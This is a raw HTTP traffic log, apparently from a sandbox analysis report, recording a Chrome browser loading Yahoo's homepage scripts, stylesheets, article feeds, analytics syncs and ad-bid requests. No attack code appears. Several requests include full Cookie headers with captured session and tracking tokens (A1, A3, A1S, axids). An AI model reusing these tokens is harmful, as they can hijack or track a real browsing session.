Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=99ec3df7-bf20-382a-9567-4240d7a85639,1d8f0ccd-1e4a-4558-81b8-7a3f9ddb44e8,55689e67-d5f8-30ea-8394-04902959b16f,a78cb2ab-498a-3f34-85ea-fa9feb4c02de,fd248489-9443-4693-9a9f-1c2336eb0e64,0056d40c-adda-3e16-82e7-435111b2ce12,2bf7856d-e1c9-3e74-9cdd-f9756173199a,36e16f65-51ee-3a9e-9d88-5adf2e3b7907,f0f95b59-a002-3ce2-a2f9-69bfafbf114c,dde82b60-8c41-344d-a437-7422cb916f0b&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-webp: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-beacon-1.3.4-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=ed2efbf7-2409-3dd8-9184-510525a2f72c,0faa4615-2120-3751-857c-024e291eeb87,d098fa67-1f57-32a9-a8c8-0b53747f9c8c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-webp: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-fetch-1.19.1-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-lightbox-1.10.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-scrollview-2.22.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-countdown-1.2.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-benji-1.1.4-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-clipboard-copy-1.0.2-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC=19cw~2i3y; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-form-1.34.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-native-da-1.0.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-action-1.8.1-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC=19cw~2i3y; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A
Source: global traffic	HTTP traffic detected: GET /bid/yoo/adslot/13885/?pa=1 HTTP/1.1Host: west-bid-gps.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/c/80671ac.caas-news_web.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/cprops/colors_1.1.27.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-shopping.Shopping.atomic.ltr.d156b541c028fe7d3167b101d15500f6.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-games.GamesMini.atomic.ltr.1351353cf8129012a686e519608812d5.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2i3y:19e0~2i3y"; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-games.games-mini.cdd5050ba6288df47182412e30e482a4.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-weather.WeatherPreviewRefresh.atomic.ltr.2a251a0ddb3d7c4ec13f4e35ee35dd2b.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /manifest_desktop_us.json HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.well-known/interest-group/permissions/?origin=https%3A%2F%2Fwest-bid-gps.ybp.yahoo.com HTTP/1.1Host: pa.ybp.yahoo.comConnection: keep-aliveAccept: application/jsonOrigin: https://west-bid-gps.ybp.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B; IDSYNC=19cw~2i3y
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-weather.common.desktop.a03361886464b469acd3a16cfbd022ed.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-template-1.4.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=ed2efbf7-2409-3dd8-9184-510525a2f72c,0faa4615-2120-3751-857c-024e291eeb87,d098fa67-1f57-32a9-a8c8-0b53747f9c8c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
